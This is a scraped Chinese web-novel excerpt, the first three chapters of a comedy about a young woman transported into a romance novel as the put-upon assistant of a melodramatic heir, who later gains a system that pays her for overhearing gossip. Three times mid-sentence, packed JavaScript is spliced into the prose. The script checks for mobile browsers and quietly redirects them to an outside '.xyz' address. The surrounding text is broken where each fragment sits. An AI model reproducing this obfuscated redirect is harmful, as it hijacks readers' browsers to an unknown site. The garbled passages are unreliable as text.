《我在豪门吃瓜赚钱[系统]》 1. 发疯第一天 “谭助理,出事了!南宫少爷和许小姐又吵起来了!” 被手机吵醒的谭茉从床上爬起来,一整个就是“我是谁,我在哪里”的睡眼朦胧状态。 挣扎着掀开眼皮看了一眼屏幕,凌晨2点半。 “谭助理,你快过来!”对方焦急地催促,很快挂了电话。 谭茉又像条橡皮泥,软塌塌地睡回到床上,闭着眼睛轻声说:“我去你大爷。” 但是谁让她是个社畜呢。 骂归骂,事情还得做,B钱还得挣。 谭茉沉沉地叹口气,认命地从床上爬起来,像个丧尸一样闭着眼睛穿衣服,然后下楼打车。 其实她不是这个世界的人,两天前周末的时候刚穿越到这个身体上,有着和她一样名字,年龄,外貌的女人身上。 不同的是,谭茉在现实世界是个幼教专业的大四学生,而这个女人是隆盛集团太子南宫烈的实习助理。 据她多年看言情小说的经验,她多半是因为同名同姓穿书了。 可别人穿书,好歹是穿成邪魅狂狷的霸道总裁,或者是被四五个男人争破头抢来抢去的万人迷女主,亦或者是作恶作得很爽的恶毒女配。 她倒好,穿成当牛做马,为奴为婢的助理。 这也太凄惨了! 根据这两天的观察,她的老板南宫烈和他的女朋友许小念是对癫公癫婆。 古早言情小说什么样,南宫烈和许小念就是什么样。 他们就是“你逃,我追,你插翅难飞”的真人版。 就连这两天周末,谭茉刚穿越过来,就被南宫烈一通电话喊过去擦屁股:不是处理南宫烈砸坏别人家的家具,就是反复听许小念质问南宫烈外面是不是有别的女人。 然后在这对癫公癫婆冷战期间,被南宫烈喊去给许小念送饭。许小念不吃,南宫烈还是让她继续送。 好好的一个周末,谭茉就这样被来回折磨。 最后那顿饭,全都洒在她身上。 谭茉:……真的很想让地球爆炸 好好好,人家穿书是来做总裁贵妇,享受生活,她穿书是来活受罪的。 上个世界是牛马,这个世界还是牛马。 合着别人就是高贵,她就是个一辈子牛马的命呗。 想想就生气,谭茉忍不住跺了两脚。 屁股底下的车子摇晃了两下,滴滴车司机提醒:“小姑娘,不要晃,凌晨还要去公司加班,都那么惨了,万一再出点什么事情,不是更惨。” “师傅,你也没好到哪里去吧,这个点出工还不是也要养家糊口。” “哦,我有十栋楼出租,没事情做,都昼夜颠倒了,所以晚上开车玩玩。” 谭茉:…… 怨念更重了。 不一会儿,车子就到了隆盛集团公司楼下。 楼下已经站了另一个小助理林瑜,见到谭茉下车,她连忙跑过去。 “谭助理,你总算来…….”见到谭茉后,林瑜剩下的话卡在喉咙,“你的黑眼圈……” 谭茉保持笑容:“能不重吗?现在可是凌晨。” 而且是在处理完被洒在身上的食物之后,整个周末她才睡了几个小时的情况下,也正是因为如此,才让林瑜顶上。 “南宫烈最好是给我真的搞出事情,不然把他挫骨扬灰都算是轻的。”谭茉挤出声音说。 林瑜都快哭了,“要不是这两个癫公癫婆,我也不会打你电话,我也不会这个时间还没睡。” 同为助理,她比谭茉还要扛不住压力。 谭茉压住内心的郁闷和吐槽,提起精神,拉着林瑜往办公楼走,“现在什么情况?” 从家里出来,坐上车,林瑜就在微信里和她说了情况:南宫烈突发奇想,奋发图强,半夜三更带着许小念来公司办公。不知道什么原因,两人吵了一架,原本好好的许小念忽然晕了过去。 情急之下,林瑜才打了谭茉的电话。 “还是老样子,许小念没有醒。” 电梯一路顺畅地来到了总裁办楼层,出乎谭茉意料之外,这层楼竟然站了七八个保镖。 “怎么还把保镖也喊过来了?” 林瑜看了眼四周的保镖说:“南宫少爷担心是有人投毒,所以才叫了安保人员。” 这么严重的吗?谭茉不禁心想。 光看这架势和站在走廊两旁各个人高马大、肃着脸的保镖,她也不自觉地有些担忧。 但更多的还是累从心中起,撂下挑子不干的念头越来越频繁地出现在脑子里。 谭茉稳了稳心神:“那医生呢?来了没有?” “来了来了。”一道气喘吁吁地男声从背后响起。 谭茉和林瑜转过身,看见两个喘着粗气的医生和护士刚出了电梯门口,很显然,他们就比谭茉慢了一步。 那护士实在是太累,扶着墙,说一会儿停一会儿:“跑得都快累死了。” 谭茉还来不及仔细问话,就听到南宫烈焦急的怒吼声音:“医生来了没有!都半个小时了!为什么还不来,小念快不行了!我的小念!” 如同晴天霹雳,猝不及防得让所有人为之一怵。 医生和护士率先拎着工具箱走进总裁办,林瑜扯了扯谭茉的手,害怕地低声说:“怎么办,老板发这么大的火,我都不敢进去,腿软。” 谭茉憋了一肚子的吐槽,丧气地说:“顺时针凉拌吧,你要想逆时针凉拌,也行。” 林瑜:…… 谭茉拉着林瑜也进了南宫烈的办公室,扫了一眼,挺大的一间屋子,容纳二十几个人绰绰有余。 可现在只有几个人都觉得黑压压,死沉沉,大气都不敢出。 许小念作为霸道总裁的女朋友躺在沙发上,双眼紧闭。医生和护士为了方便操作,跪在地上检查。 而一旁站着的南宫烈沉着脸,双眉紧蹙,满眼都是“许小念万一出了什么事,他也不打算独活”的深情。 “南宫先生,许小姐…她…”检查后,医生颤颤巍巍地说。 “她怎么了?” “许小姐快要不行了。” “快要不行了?”南宫烈忽然暴躁,扫落茶几上所有东西,指着谭茉一行人说:“治不好,我要你们所有人都去陪葬。” 谭茉:?? 林瑜:?? 医生:?? 护士:?? 你高贵,你大方,你的深情靠别人陪葬? 谭茉觉得还能抢救一下,她站出来说:“不要这么武断,办公室里什么医疗设备也没有,做不了详细检查,我还是先送许小姐去医院吧。” “许小姐不一定噶了,还有救。” 不知道哪个词刺痛了南宫烈,他目露凶光,一会儿笑又一会儿哭,跟个智障一样,大喊道:“噶?!许小念!没有我的允许,你不准嘎!听到没有,不准你离开我!” “如果小念真的嘎了,你,还有你,你们通通都得死!” 他扑倒在许小念身上,摇晃着许小念,仿佛这样,就能将昏迷的人唤醒。 谭茉:??有没有搞错,还能不能好好沟通了?你有功夫在这里摇,没有功夫送她去医院? 谭茉瞟了一眼林瑜和医生他们,交换了“南宫烈就是个智障”的眼神。 南宫烈摇了一会儿,命令保安:“还站着干嘛,快把这些没用的东西都拉去陪葬。” 外面走廊上的保安都冲了进来,又困又累的谭茉有些恍惚,居然来真的。 和她有什么关系?脑子有泡! 谁家好人穿越个现代背景的小说,还有性命危险?打个工而已。 不知道的还以为她是卖白粉的,干的是白刀子进红刀子出的活呢。 一股怒气涌上头,谭茉紧急按下暂停键,“桥豆麻袋,送我们几个牛马去陪葬,那他们这些保安呢?要不要也送去陪葬?” 现在是纠结这个问题的时候吗? 南宫烈一愣,觉得谭茉莫名其妙。 但他依然不可一世的语气说:“为了小念,当然也要。” “听到没有!兄弟们!我们陪葬之后,你们可是要自己杀自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886093|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也活不了哦。”谭茉讲道理,“所以,你们这么听话干嘛?” 那些人机保安仿佛终于有了思考能力,面面相觑。 “还有,你确定我们陪葬之后,许小念能复活吗?”谭茉走向南宫烈,认真地问。 她不像平时那样唯命是从,听之任之,咄咄逼人得让南宫烈难以招架,竟然有些心虚:“当然不能复活。” “不过,”南宫烈厉声说,“谭助理,这是你和老板说话的态度吗?” “当然不是和老板说话的态度了,我这是和傻逼说话的态度。” 谭茉脸上挂着笑,从茶几上抄起一本文件夹,二话不说就兜着南宫烈身上砸去。 “你也知道不能复活,但你还要我们陪葬?怎么?光显示你的深情了是吧?人家许小念都闭着眼睛,能知道你的深情吗?还在这儿给我演上瘾了。” “拿我们陪葬,你是□□吗?还是你是皇帝?你有什么资格拿我们陪葬?就算49年没有通知你中华人民共国成立,你好歹也买本法律书看看呢。你这个法盲。” 穿越过来的这两天,谭茉被南宫烈压榨得想跳楼,憋了一肚子的吐槽终于有了发泄的途径。 她每说一个字,硬壳的文件夹就砸在南宫烈身上一次。 谭茉用尽了浑身力气,虎虎生威,拳拳到肉,“砰砰砰”的声音听得其他在场的人心惊肉跳。 这到底得多痛啊。 在场的其他人都皱着眉,往后仰,生怕打在自己身上。 然而谭茉渐入佳境,越打越凶,继续骂他:“让你赶紧送医院,你在这给我摇。” “还喊家庭医生,有用吗?你办公室是病房?送医院不比你喊人来得快?” “别打了!别打了!“南宫烈痛得跳起来,“保安你们在干什么?我付你们工资是看着我被人打的吗?” 保安弱弱地说:“可是上一秒你还让我们陪葬诶。” 南宫烈:…… 外人帮不上忙,南宫烈只得求饶,“别打了,真的好痛。” “知道错了吗?” “知道了,知道了,我不让你们陪葬就是了。”南宫烈抱头鼠窜。 手心传过一阵阵酸痛,气也出了,谭茉懒得继续追。 这场追打无异于不小的运动,谭茉都没什么力气,看着揉肩摸手,检查受伤情况的南宫烈,翻了个白眼。 “站在这里干嘛?还不快送许小念去医院。” 南宫烈恍然大悟,朝许小念跑过去。 谭茉丢了手上的硬壳文件夹,头也没回地往外走。 林瑜无助地喊道:“谭茉,你去哪里。” “还能去哪,回家睡觉。” 谭茉才睡了几个小时,再不回去补眠,下一个倒下的估计就是她了。 说得不好听点,她才领这么点薪水,用得着她担心南宫烈和许小念吗? 她还是心疼心疼自己吧。 无人在意的角落,南宫烈刚要公主抱起许小念,就感受到怀里的人有了动静。 她似乎要醒了! 南宫烈放下许小念,对上一双水蒙蒙的眼睛,惊喜道:“小念,你没有嘎?担心死我了,我保证以后再也不会和你吵架了,都是我不好。” “烈,你在说什么?”许小念满头雾水,“我只是睡着了。” “没事没事,一切都不重要,只要你没事就好了。” 还在场的林瑜:……天呐,你们要不要听听自己在说什么?是人话吗?合着这么多人凌晨过来看你睡觉?有没有人收拾他们,真的好气! 很快,站在茶几边上的林瑜感到一阵旋风,已经走出大门的谭茉又卷土重来。 拿着刚才的厚重文件夹狠狠地砸在南宫烈和许小念头上。 “都这样了你还睡得着,你怎么不睡到天崩地裂,盘古开天劈地再起来?” “我们都是你们两个play的一环是吧?我们不需要睡觉?” “神经,癫公癫婆。” “嚯!”林瑜不由地伸出大拇指:“我的乳腺通畅了!” 2. 发疯第二天 从办公楼出来,谭茉站在空地上,简直神清气爽。 她打车回家,坐上滴滴车那一刻,才发现和来的时候打的是同一辆车。 “又是你,十栋楼哥。” 司机大叔笑呵呵:“这么快就处理好事情了?你们老板也真是的,这么点事还要大半夜折腾你。” “所以我炒了他。”谭茉在手机上递交了辞呈,抬头说。 司机大叔见惯不惯:“那你辞职后要做什么?” “先睡觉吧。”谭茉没什么力道地说。 她闭上眼,养精蓄锐,脑袋一片空白。清晨的凉风习习拂在脸上,很温柔。 在上个世界,谭茉做的是幼教,干的也是“操着卖白粉的心,赚的也是卖白菜的钱”。 一天到晚24小时,手机微信上的消息不停歇地冒出来,条条都是“老师,我们家子涵呢?”“老师,我们家子睿呢?” 极品家长也是层出不穷。 最后月底实习工资一发,三千大洋笑哈哈。 这一干还干了小半年。 谭茉自己都要穷笑了。 再加上南宫烈和许小念这两天的折腾,她总算是累到了。窝在出租房里睡了一个礼拜。 醒了就看电视,困了就睡觉,总共就肚子饿了三四回,全都自己煮面条加鸡蛋对付过去。 睡了一个礼拜,才将身体彻底养过来。 这期间,她也怀疑过自己到底有没有穿书。别人穿书要么是熟知剧情,攻略帅哥;要么有系统做任务,赚钱发财走上人生巅峰。 怎么到了她这儿,什么都没有,甚至她连剧情是什么都不知道! 算了,不想了,越想越认清自己就是个普通人的命。 肚子也在这个时候适宜地发出巨响,提醒躺在床上的谭茉自己饿了。 谭茉坐起身,拉开窗帘,窗外阳光正好,已经到了午饭时分。 她是个做事很有规划的人,先把丢在桌上的早就关机的手机充上电,打扫房间,然后洗澡,最后再去吃个饭。 原主的房子租在老小区,附近便利店、超市,水果店应有尽有,也显得闹哄哄。居民基本上都是工薪阶层,几十平的房子住一家老小五六口人很常见。 中午温度不热不冷,几个老人拎着把椅子在小区门口晒太阳唠嗑。 谭茉绕了一圈,熟悉附近的地形后,最后脚步停留在一家面馆前面。 这是一家开在商业区和居民区分割线上的面馆,十来个座位,过了最热闹的吃饭时间,店里只剩下四五个人。 谭茉要了一碗牛肉面,18块钱,原主的支付宝账户里6411.4元变成了6393.4元。 很好,省点用的话,这个钱够她躺一两个月再去找工作了。 累了这么久,刚辞职,她可不想这么早继续当牛做马。 很快,牛肉面就上来了。 店里陆续走了一两个人,又进来了四个人。 “要不要拼两张桌子?李晓婷还没来,坐不下。”其中一个柔婉的声音说道。 “没事的,周静,搬来搬去多累啊,挤挤就行了。”另一个爽利的声音说。 她们这一行人多,动静大,引得谭茉多看几眼:一溜的女人,二三十岁的年纪,穿着比较职业的通勤装。特别是那个叫周静的,衬衫,过膝包臀裙,戴着无框眼镜,人如其名,长得文文气气。 她们各自点了要吃的面。 “尝尝看,吴经理倾情推荐的面馆,一直听他说好吃。公司附近都吃厌了,终于能换换口味。”同行的第三个短发女生说。 “他这人是这样的,自己喜欢吃什么,就疯狂推荐。不过他口味重,你喜欢清淡的就不一定喜欢。”周静笑着说。 “是吗?” “嗯,不过也说不准,反正我相信他眼光,他这个人很细腻。” 谭茉继续慢慢地吸着面条,心想:这个周静倒是挺了解吴经理的,如数家珍的口吻,两人挺熟,估计在谈恋爱。 这些信息自然而然地出现在她脑海里,这是她多年“聊八卦”留下的条件反射。 不过挺无聊的,谭茉看向街边的景色,转移了注意力。 不一会儿,那个周静似乎有急事,没吃几口,就匆匆走了。 “怎么走这么快?牛肉都没吃完,多浪费啊。”短发女生可惜地说。 “你个傻白甜,”爽利女生恨铁不成钢地轻声说,“她和吴光磊偷情去了。” “啊?!” 和短发女生一样惊讶的还有谭茉。 偷情?这种词汇一出来就代表着八卦。 八卦,那正合谭茉胃口。 她轻声咀嚼,静心凝听。 “你怎么知道她要约会吴光磊了?”第四个长发女声问。 “靠得近,微信上我不小心看见的。”爽利女说。 “不可能吧?周静有老公,上个月刚结婚。而且吴经理也有老婆,孩子都四五岁了。”短发女不太相信,别扭地说,“对女性造黄谣不太好吧。” 就是就是,谭茉在心里点头。她虽然爱吃瓜,但不爱吃烂瓜。 “就等你这句话呢!”爽利女掏出手机相册给她们看,“要是没有证据,我可不会乱说。上个礼拜老板来我们行政调监控,我亲眼见到的!” 照片里,是周静和吴光磊抱在一起啃的画面,甚至男人的手都已经从包臀裙下摆往上伸。 另外两个人看了之后,恶心地yue了出来,连面条都不香了。 “怎么在办公室里做这种事啊!好恶心。” “他们不知道办公区有监控吗?” “怎么会不知道,”爽利女说:“估计是不清楚办公区的监控最远能拍到哪里。两个急色鬼,还没完全进到休息区就做这种事。” “那天翻到这个监控都恶心死我了,年夜饭都差点呕出来。” 短发女说:“那你还拍照片,留在手机里也不嫌脏。” “诶哟,我要是没有这张照片,那你们不就说我造黄谣,要有证据的呀。好了,既然证明我没说谎,我现在就删,吴经理身材那么烂,不小心看到,我也怕长针眼。” “你们都不知道,我憋了多久!” 长发女听了后,咂摸出点意思:“怪不得上个礼拜,老板说要在休息室再装一个监控。真的好恶心,那可是公共休息室!” 正说着,最后那个叫李晓婷的女生姗姗来迟,爽利女问,“你怎么来这么慢。” 李晓婷一边喊着热,一边说:“停车,我死都停不进去。幸好碰到了吴经理,没想到他也来这边吃饭。” “诶?”她看着空出来的位子问:“周静呢?去哪了?” 桌上三人同时露出嫌恶的表情。 短发女“嗷嗷嗷”地低声叫:“恶心恶心恶心,我今天饭都吃不下去了。” 而不远处的谭茉吸溜吸溜地吃着正香。 她刚好相反,八卦就是她的电子榨菜,越吃越香! 谭茉都恨不得抱着碗,转头加入她们,但她还是很理智地克制住了自己。 也不知道是不是听嗨了,谭茉不知不觉吃撑。吃完饭后,她在小区周围散步一个小时才回到家。 吃了睡,睡了吃,再佐以八卦小零食,简直和猪一样幸福。 谭茉美滋滋地半靠在沙发上,习惯性地点开支付宝,看看自己的余额还有多少。 尽管距离上一次查看也就在一个多小时前,买牛肉面的时候。 这是她的小毛病,总要多看几眼余额才能安心。 上面显示:6493.4元。 谭茉搜过原主留下的两张银行卡,各种账户,确认全部身家就是这点钱。 诶?这个数字和买完牛肉面之后一样吗? 谭茉已经记不太清了,差不多的钱吧,应该是这个数。 还来不及琢磨这个钱要怎么分配,微信电话就跳出屏幕。 【卷发红唇叼香烟】邀请你视频通话。 这是包租婆? 谭茉没有多想,按下接听键。 映入眼帘的就是满头标志性的冷烫杠子,过了两秒,粗犷的中年女人叼着烟,吼过来:“打你电话几回了?一声不响,半个屁也不放。下个季度的房租今天晚上8点前打给我,概不赊账。” 不容谭茉说话,中年女人就利落地挂了电话。 与之同时,【卷发红唇叼香烟】微信用户还发来两条房租详细账单。 原来还真的是房东。 这么看来,原主给房东的备注还真是鲜明有特色啊。 谭茉嘴角露出笑意,但她点开账单后,就笑不出来了。 6000,一个季度的房租居然是6000!! 啊,心在滴血! 等等,刚才支付宝里多少钱来着? 谭茉又点开了支付宝,赫然出现在眼前的是6493.4元。 看完后,谭茉差点背过气去。 很好,她的余额仅剩493.4元。 也就是说,她辞职完一个礼拜后,又要给资本家打工了。 而且还是迫在眉睫! 简直不敢相信,潇洒的日子才过了一周,谭茉又要挥手告别。 而且在打工前,她还必须先面试。 因为全身上下就只剩下四百多块钱,谭茉非常焦虑,一连下了好几个招聘app,耐着性子浏览了一圈: 幼儿园老师,需要有经验,而且相应专业毕业生,但是原主念的是商科,过。 XX集团总裁秘书,任职要求长得漂亮,身材好,年轻声音甜,和总裁一起出差,同吃同住,最重要是会唱摇篮曲,哄总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886094|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裁睡觉,月薪10万。 谭茉:??怎么,白天当牛做马,晚上还要做鸡做鸭,一天到晚净在动物农场了。过! XX市场营销需求:聪明,清北或者藤校以上,会五国语言;勤奋,每天工作16个小时以上,频繁出差;自驱,对出人头地有极强的欲望;正直,不做背刺公司的人。如果有CEO经历是加分项。 谭茉的眉头越皱越深,怀疑自己是不是不够疯癫,从而与这个世界格格不入。 要求堪比天高,底薪3500,还要让人保持出人头地的欲望?以头抢地的欲望能保持住都算不错了。 还不如隆胜集团继续当她的小助理呢,每个月的工资还税前一万。 虽然南宫烈和许小念是疯了一点。 但一个礼拜前,她都把南宫烈揍得妈都认不出,还豪气万丈地递交了辞职,她还怎么有脸回去。 谭茉疲惫地瘫倒。 刷了一晚上的招聘网站,尽管对招聘信息很无语,她还是尽可能地投了几个。 本来也没报什么希望,但第二天醒来一看,有个小公司对谭茉抛出了橄榄枝。 她们约定周三上午面试。 到了时间,谭茉坐了地铁去公司。 HR是个三十多岁的女人。 面试完快接近中午,谭茉从楼里出来,叹了口气。 都不需要等消息,她就知道结果不如意。 HR怪怪的,线下看到谭茉真人,就说她长得漂亮,然后话题总是往‘漂亮女员工会勾引老板’那边扯。 谭茉大吃一惊:“你说谁?谁会勾引河童老板?” 大概是谭茉的回答太过离谱,HR一下子就黑了脸,嘴角抽搐。 关于工作上的专业问题是一个也没有,还浪费她一天的时候背了不少专业资料,谭茉叹气。 为了省点钱,她早上只喝了点白开水和两个鸡蛋,斗智斗勇后,肚子饿得已经拖不到回家自己煮着吃了。 谭茉环顾四周,在东北角看到了一家便利店。 她垂头丧气地走过去。 便利店里温度打得很低,谭茉站在熟食面前,试图用目光搜寻最便宜的饭团或者便当。 “我真的快被她烦死了,整天检查女员工的裙子不能太短,不能太露,阴阳怪气我们没个上班的样子。” “我上个礼拜穿条中裤,她还说我露小腿了,问我是不是对老板有意思,不然怎么老去老板办公室。” “老天啊,要不是她秃头老公找我要文件,一次性不说清楚,还害我跑了这么多趟,谁要去看秃头!” 说话的人是个女生,她吐槽得咬牙切齿,就站在谭茉边上,正在找东西的谭茉自然而然被吸引过去。 边上另外一个齐刘海女生说:“她现在这么癫了?幸亏好我跑得快,要不你学学我,辞职吧,然后在园区再找找。” “去年公司组织聚餐,她老公也去,刚好开车载我,被她知道了之后就一直针对我。关键是那次坐他车的不止我,还有其他两个同事。” “也不看看她老公长什么样,都四十多了,我男朋友比他有钱,还比他帅,我是脑子有病才会看上他老公,幸好跑路了。”齐刘海女生说。 “就是。今天有个漂亮妹子来面试,她还问人家长得漂亮会不会觉得自己有特权,想往高处走。我听了之后都笑疯。” 谭茉心里一咯噔,她该不是吃瓜吃到自己了吧。因为HR问过她这个问题。 正等谭茉想确认的时候,齐刘海女生忽然转身,挡住谭茉的视线。 “要不是你说起这个,我都忘和你说大瓜了。”她低声说,“我在的新公司有个员工和我一样,也是从那里跳槽的。她是老员工,知道不少事,说老板娘当时就是觉得自己比正宫漂亮,小三上位的。” “哦莫,哦莫。她是怕有人模仿她吧。” 站在谭茉身边的女生大概太过惊讶,拍着手后退几步,谭茉趁机瞟了一眼,确认了:她脖子上挂着工牌,上面公司的名字和自己面试的是同一家。 与此同时,谭茉也确认了面试自己的HR就是她们口中的老板娘。 怪不得对她抱有敌意。 谭茉听了会儿八卦,拿了第三层的饭团就往后撤,要去结账。 “你好,5.5元。”营业员说。 谭茉闻声点开付款页面,给营业员扫,随后拿起饭团要走出去。 她又习惯性地点开余额查看:493.23元。 谭茉惊了,她揉了揉眼睛,再仔细一看,确实是这个数,她并没有看错。 前天看还是480元多点,经过一天多,就算再节省,但她还是坐了地铁,买了吃的,怎么这个余额不减反增? 忽然间,脑海中闪过一道叮铃铃的电子音——“铛铛铛!欢迎来到打工人系统。” 3. 发疯第三天 果然! 她就知道穿越到异世界怎么可能没有金手指呢! 她虽然只是个霸总助理,但说不定也是个天纵奇才。 谭茉赶紧从便利店出来,找了个安静的地方查看攻略。 五六分钟后,匆忙看过攻略的谭茉心情有些复杂。 好消息是:她确实是穿到了一本叫《天价小娇妻:99次出逃》的古早言情霸总小说。 坏消息是:她也确实只是个牛马助理。 但很快,她就捂嘴偷偷笑,谁让这个系统给她的金手指竟然是只要八卦,她就能赚钱。 这意味着什么? 这意味着她嘴巴动几下,耳朵听几句就能挣钱啊。 而且听八卦是她的强项啊!这让清华学霸考班级第一有什么区别。 简直是要瞌睡了,就有人递枕头。谭茉很快就从捂嘴偷笑,变成放声大笑。 零星路过的几个行人都用看神精病的目光看着谭茉。 谭茉不管,问系统:“但我这两天也没有说八卦,怎么账户里的钱还是变多了。” 系统慢慢解释:“不一定要你自己亲口说出来,可以是你听到的,参与的,助攻的都算。你这两天总共参与了两个八卦,一个是你吃牛肉面时候听到的办公室绯闻,另一个就是刚才了。” “原来如此。”谭茉又问,“那这个钱怎么算?” “你现在还是新手级别,10块钱一分钟。以后慢慢升级做任务,单价会越来越高。” 谭茉又仔细看了一下所谓的任务,无非就是完成当事人所求的愿望,以及一些系统自带的任务。 “这个钱可以用于现实世界。”系统又说。 现实世界? “我什么时候可以回去?” “任务做完,赚够了钱,你想回就可以回。不过,一旦回到现实世界,就不能回来了。” 这感觉像是玩游戏。谭茉倒是可以接受,只要赚到了她心里的目标,就回现实世界买个大院子,一个人美美地住在里面。 谭茉迫不及待地问:“我现在有任务吗?” “暂时还没有。” “行吧。”谭茉站起来离开。她暂时摸索了一下这个系统,还没有完全熟悉。但她已经迫不及待去找八卦了。 还没多走几步,系统便警铃大作,提醒谭茉目标人物即将出现。 目标人物? 谭茉一头雾水,左顾右盼,就见到侧面走过来四五个穿着西装的人,等渐渐走近了,她惊讶地脱口而出:“南宫烈?” “系统检测到目标人物,颁布系统任务:请对目标人物说出‘老奴已经很久没有见到少爷如此笑了’这句话。” 谭茉:???你最好是来真的。 “请宿主尽早说出这句话,不然你的单价将无法升级。” 谭茉气笑了:“你是故意耍我的是不是?我刚穿越过来的时候你不出现,在我把南宫烈打了一顿之后,你才说这种话。我又不是精神分裂。” “还老奴,我穿越的不是现代剧吗?” 系统扭扭捏捏:“人家也不是故意的,不要这么凶嘛。” “但你不是人,我凶你怎么了。” 系统:……要不要这么现实。 它转移话题,继续解释:“《拒嫁豪门:天价小娇妻99次出逃》确实是现代小说,但这本小说的作者不仅写现代言情,还写古代的,仙侠的,涉猎很广。所以有时候文笔改不过来,很多读者也吐槽她来着。” “现在不是说这个的时候,你快点对南宫烈说那句话。” “不去。”谭茉转身就走。 与此同时,她瞟到系统屏幕上无限上涨的单价,生生顿住脚步。 她内心十分纠结,烦躁地问:“为什么碰到南宫烈,单价会涨这么多。” “他是《拒嫁豪门:天价小娇妻99次出逃》的男主,也就是行走的八卦源泉,他不多,谁多?就算你一天24小时,听路人的八卦,都没他的单价高。” “而且你必须完成我下达的任务,你才能有单价升级的机会。” 系统感受到谭茉已经隐隐心动,它蛊惑道:“去吧,只是说一句话而已,你就当成是台词,去吧~” 谭茉硬着头皮转身,搜寻着南宫烈的身影。这么一耽搁,南宫烈已经走过了谭茉,两人就隔着两三米的距离。 真的要说吗?也太难以启齿了。 就算要说,又要怎么说呢? 谭茉一时半会儿没想好要怎么说,她一会儿看南宫烈,一会儿又低着头绞着手,慢慢跟在后面。 其实不止谭茉认出了南宫烈,南宫烈也在很早的时候就看到了她。 他今天是来微服私访家里的工厂,没想到在这竟然遇见了谭茉。 南宫烈登时就有些恼意,一声不响十来天没来上班,害得他出门谈生意都没有称心的助理,一点气势,逼格都没有! 南宫烈狠狠地瞪了谭茉一眼,试图让谭茉知道自己这个老板很生气。但很可惜,他瞪过去的时候,谭茉正垂着眼睛。 倒是被一旁的李经理瞧见了,他关切地问:“南宫少爷,你的眼睛怎么抽疯了。” 南宫烈:…… 他咳了咳嗓子,“没有,李经理不用时时都关注我。” 其它几个下属相视一笑,眼眸中略带嘲讽的笑意。 李经理一点也不羞臊,他所管理的食品加工厂是隆盛集团老爷子年轻时候白手起家的,由于那时候资金不足,厂房小,设备也老旧,早就跟不上新时代的发展。 但毕竟是第一家工厂,老爷子念旧情,一直让人管理着。 李经理平时哪里搭得上太子爷南宫烈,好不容易来了这次机会,马屁自然是要拍得起劲。 他厚着脸皮说:“哪里哪里,关注你是我的本分。” 南宫烈舒坦了,自他上班以来还是头一回这样被人捧着,他那个助理谭茉就从来不说这种话,不仅不说,还打他。 想起这件事,他的脑袋都还隐隐作痛,这么厚的硬壳文件夹啊! 南宫烈的脚步渐渐慢下来,他倒是想看看谭茉要做点什么,余光往后瞄,只见到谭茉鬼鬼祟祟,右手手掌搁在脑门,掩着自己的脸,似乎还不想让他发现。 可惜晚了,就这蠢笨的模样还要搞跟踪呢。 南宫烈又转念一想:谭茉为什么要跟踪他?难道是老爷子吩咐的吗? 大概就是这个原因了,也难怪谭茉敢一个多礼拜没去上班,该不会是老爷子私下里吩咐她其它任务? 比如:跟踪他,记录他的言行举止,工作状态,然后向老爷子汇报。 南宫烈觉得这个可能性非常大,又一阵懊恼直到今天才发现这件事。 他顿时开肩扩胸,让自己看上去更加挺拔。 一旁的李经理:太子爷怎么走起路来跟雄赳赳,气昂昂的鸭子一样?屁股翘着么高。 但这并不影响他继续送上一波彩虹屁。 南宫烈愈发心情舒畅。 前面就是拐弯处,他一边心里念着“快看我,快看我”,另一边暗自观察了谭茉,却见到谭茉转身走了。 南宫烈愕然地顿住脚步,这一顿,后面的人刹不住脚步,一个撞两个,把南宫烈创翻在地上。 即将与地面接触的前一秒的南宫烈心想:幸好她走了…… 对于谭茉转身离开,系统很不能理解:“你怎么就走了?都跟着一段路了,只是一句话而已呀。” 谭茉:“这是一句话吗?这是打工人的尊严。” 要她向癫公说这种话,绝无可能! 是可忍,孰不可忍。 系统叹气:“那你的单价就升不了级,只能10块钱每分钟了。” 谭茉坚守着无产阶级的底线,很有气势地离开。 第二天,谭茉出现在隆盛集团公司楼下。 她想了一晚,觉得无产阶级的底线还是可以降降的。 系统:…… 但这也不能怪她啊。 昨晚从面试的地方回到家,谭茉就着急着出门去试试金手指。吃瓜就能有钱拿,那她赚钱不是分分钟的事情。 但就像是不赶车的时候,要坐的车接二连三地来;但你要赶车了,就是打死也不来。 谭茉在家附近的菜市场,麻将馆,老年活动中心等八卦聚集地等到了晚上,她以为至少能挣个大几千。 结果满打满算,也就两个小时,总共1200元。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886095|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 搞什么!好好的八卦聚集地,不讲八卦,一个个都聊国家大义,家国情怀,理想爱好这些伟光正的事情。 她偷听的时候,大爷大妈还用奇怪的目光看着她,整得就她跟个变态一样。 如果不知道自己有这根金手指还好,但知道了还不主动积极地赚钱,实在是有点犯贱。 就像看着原本属于自己的金山银山从指缝中溜走,谭茉实在是受不了。 所以只能再一次来到隆盛。 